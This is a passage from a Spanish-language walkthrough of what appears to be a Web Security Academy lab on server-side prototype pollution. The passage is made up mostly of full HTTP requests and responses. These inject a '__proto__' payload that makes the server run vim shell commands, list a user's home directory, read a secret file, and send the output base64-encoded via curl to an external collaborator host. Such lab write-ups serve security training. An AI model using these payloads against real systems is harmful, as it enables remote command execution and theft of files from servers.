Luego de lo anterior, clickeamos en el button de "iniciar tarea":
Y luego de enviar la petición previa sobre actualización de datos y enviar la petición de inicio de tarea, se detecta trafico en el collaborator:
Gracias a lo anterior, sabemos que tenemos la posibilidad de utilizar el RCE:
Asi que para resolver el ejercicio utilizaremos el siguiente payload que codifica la salida del comando ls en base64 y luego la envia al collaborator:
"input":":! ls /home/carlos | base64 | curl -d @- https://79ehevoergt9416xsqvym443suymmfa4.oastify.com\n"
Luego de enviar la peticion:
POST/my-account/change-addressHTTP/2Host:0a7e008b0499e6c481688ab4000900af.web-security-academy.netCookie:session=4tH7NKRjQmuej0xm7k7XQpweZtk40bS7Content-Length:317Sec-Ch-Ua:"Chromium";v="128","Not;A=Brand";v="24","Google Chrome";v="128"Content-Type:application/json;charset=UTF-8Sec-Ch-Ua-Mobile:?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform:"Windows"Accept:*/*Origin:https://0a7e008b0499e6c481688ab4000900af.web-security-academy.netSec-Fetch-Site:same-originSec-Fetch-Mode:corsSec-Fetch-Dest:emptyReferer:https://0a7e008b0499e6c481688ab4000900af.web-security-academy.net/my-account?id=wienerAccept-Encoding:gzip,deflate,brAccept-Language:es-ES,es;q=0.9Priority:u=1,i{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"4tH7NKRjQmuej0xm7k7XQpweZtk40bS7","__proto__": {
"shell":"vim","input":":! ls /home/carlos | base64 | curl -d @- https://79ehevoergt9416xsqvym443suymmfa4.oastify.com\n"}}
Y luego de enviar la peticion del button:
La respuesta de la peticion del button es la siguiente:
{"results": [ {"name":"db-cleanup","success":false,"error": {"code":1, "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 79 100 55 100 24 1666 727 --:--:-- --:--:-- --:--:-- 2393\n\r\nPress ENTER or type command to continue\r\n"
} }, {"name":"fs-cleanup","success":false,"error": {"code":1, "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 79 100 55 100 24 2500 1090 --:--:-- --:--:-- --:--:-- 3590\n\r\nPress ENTER or type command to continue\r\n"
} } ]}
Y en el collaborator se obtiene el siguiente trafico:
Al decodificar el base64 encontramos esto:
node_apps
secret
Por lo anterior, finalizamos enviando la siguiente carga:
POST/my-account/change-addressHTTP/2Host:0a7e008b0499e6c481688ab4000900af.web-security-academy.netCookie:session=4tH7NKRjQmuej0xm7k7XQpweZtk40bS7Content-Length:325Sec-Ch-Ua:"Chromium";v="128","Not;A=Brand";v="24","Google Chrome";v="128"Content-Type:application/json;charset=UTF-8Sec-Ch-Ua-Mobile:?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform:"Windows"Accept:*/*Origin:https://0a7e008b0499e6c481688ab4000900af.web-security-academy.netSec-Fetch-Site:same-originSec-Fetch-Mode:corsSec-Fetch-Dest:emptyReferer:https://0a7e008b0499e6c481688ab4000900af.web-security-academy.net/my-account?id=wienerAccept-Encoding:gzip,deflate,brAccept-Language:es-ES,es;q=0.9Priority:u=1,i{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"4tH7NKRjQmuej0xm7k7XQpweZtk40bS7","__proto__": {
"shell":"vim","input":":! cat /home/carlos/secret | base64 | curl -d @- https://79ehevoergt9416xsqvym443suymmfa4.oastify.com\n"}}
Y logramos obtener el secreto luego de consumir el servicio previo y luego el del button: